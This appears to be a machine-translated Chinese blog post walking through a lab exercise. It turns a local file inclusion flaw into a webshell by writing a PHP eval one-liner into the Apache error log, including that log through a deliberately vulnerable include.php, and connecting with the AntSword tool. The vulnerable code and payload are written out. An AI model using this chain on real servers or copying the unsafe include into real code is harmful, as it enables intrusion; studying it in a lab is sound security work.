当前位置:网站首页>[file inclusion vulnerability-04] classic interview question: how to getshell when a website is known to have only local file inclusion vulnerability?
[file inclusion vulnerability-04] classic interview question: how to getshell when a website is known to have only local file inclusion vulnerability?
2022-06-25 10:52:00 【Like the wind 9】
Catalog
1 Experiment introduction
The experimental requirements : Suppose the attacker already knows that a website exists and only local File Inclusion Vulnerability exists , And there are no file upload vulnerability points and other vulnerabilities , how GetShell.
The experiment purpose : Exploit local File Inclusion Vulnerability GetShell.
2 Experimental environment
(1) Drone aircraft
This experiment is based on WAMP Environment to test , Environment deployment process reference article 《【 Language environment 】WAMP Environment deployment and optimization — With win2008R2SP1 For the operating system 》,IP by 172.16.1.1.
Check out the target PHP edition . You need to view the of the built server PHP edition , Next, modify its configuration .
open phpstudy Installation folder , find PHP-5.4.45 Version corresponding folder , Will file php.ini Medium allow_url_include Parameter set to On, Remember to save and restart the server after modification .
Under the root directory of the environment website , New folder FileInclusion, stay FileInclusion Create the following files under the folder to experiment . Create a new one txt file , Enter the following code , And rename to include.php.
<?php
$path = $_GET['path'];
echo "<h1>This is include.php!</h1>";
include $path;
?>
(2) attack
Real machine installation BurpSuite And Chinese ant sword , Installation reference of relevant software 《【Burp Suite Tools -1】BurpSuite Introduction and detailed explanation of installation process 》、《【 Ant sword tool -01】 Website management tools of the Chinese ant sword installation process and application examples 》.
3 The experimental steps
3.1 Include log files getshell
Ideas : There is no file upload point , And we also need a file in the local server to have a sentence Trojan horse code , At this time, we think of , Log file records the error reporting method , In the transaction log file “ write in ” In a word, Trojans , Then use the file contains to execute the one sentence Trojan horse in the log file . The specific steps are as follows :
(1) Will visit include.php Page URL link http://172.16.1.1/FileInclusion/include.php
Copy , stay BurpSuite Of repeater Right click in the module to select Paste URL as request With URL Form add request , Click Send , You can see that the response was successfully received , Just because it was not passed to path Variable , So the prompt goes wrong .
(2) In the request line , Change the file path change request to one sentence code <?php @eval($_REQUEST['cmd']);?>
, Click Send , You can see the response error .
(3) The server reports an error in the request , A response record will be added to the error log . On the target plane we open Apache Error log for , Path is C:\phpStudy\PHPTutorial\Apache\logs\error.log
, You can see that an error message has been added , And the code is not enclosed in quotation marks , Can be included in the file to execute unconditionally .
(4) Use Chinese ant sword to connect . Open the Chinese ant sword in the real machine → Add data → Fill in URL Address and connection password , among URL Address http://172.16.1.1/FileInclusion/include.php?path=C:\phpStudy\PHPTutorial\Apache\logs\error.log
, The password for cmd, Click Add .
(5) Management server . After adding, you can see the newly added content in the main interface of the software , Double click to manage the server .
expand
(1) contain session file , cause session Let the cat out of the
(2)metinfo5.0.4 The file contains vulnerability code audit
4 summary
Ideas : The first step is to use everything possible to make a Trojan horse in a local file of the server ; The second step is to let the code execute .
reflection : If the error log is not in the default location , How to find it or whether there are other ways ?
reflection : If the target has a Remote File Inclusion Vulnerability , Attacker on server 2 Write a one sentence Trojan horse file on the , Use the target remote file to include the file , Does not Get Drone aircraft Shell. Later, we should have a deeper understanding of the control principle of the Trojan horse , To determine why it cannot be achieved , It is tentatively believed that shell The code is on the server 2 Executed on .
边栏推荐
- 【观察】ObjectScale:重新定义下一代对象存储,戴尔科技的重构与创新
- Kotlin arrays and collections (1) {create arrays, use arrays, use for in loops to traverse arrays, use array indexes, and multi-dimensional arrays}
- Flask blog practice - realize personal center and authority management
- 原生小程序开发注意事项总结
- 撸一个随机数生成器
- [image fusion] image fusion based on morphological analysis and sparse representation with matlab code
- Yolov5 changing the upper sampling mode
- IdentityServer4 定义概念
- Previous string inversion topic
- 无心剑中译伊玛·拉扎罗斯《新巨人·自由女神》
猜你喜欢
Principle of distribution: understanding the gossip protocol
ES 学习
Floating window --- create an activity floating window (can be dragged)
之前字符串反转的题目
How to install SSL certificates in Microsoft Exchange 2010
CSRF attack
网络协议学习---LLDP协议学习
Previous string inversion topic
Create menu file
Android之Kotlin语法详解与使用
随机推荐
[today in history] June 24: Netease was established; The first consumer electronics exhibition was held; The first webcast in the world
性能之内存篇
Cdn+cos ultra detailed steps for drawing bed construction
成长:如何深度思考与学习
【OpenCV 例程200篇】210. 绘制直线也会有这么多坑?
Think about it
Nuxtjs actual combat case
每日3题(3)-检查整数及其两倍数是否存在
報名開啟|飛槳黑客馬拉松第三期如約而至,久等啦
Flask blog practice - realize the latest articles and search in the sidebar
JS【中高级】部分的知识点我帮你们总结好了
Performance network
Deep understanding of JVM - JVM memory model
CDN+COS搭建图床超详细步骤
Requirements and precautions for applying for multi domain SSL certificate
Solutions using protobuf in TS projects
Get to know Prometheus
垃圾回收机制
Is it safe to speculate in stocks by mobile phone?
持续交付-Jenkinsfile 语法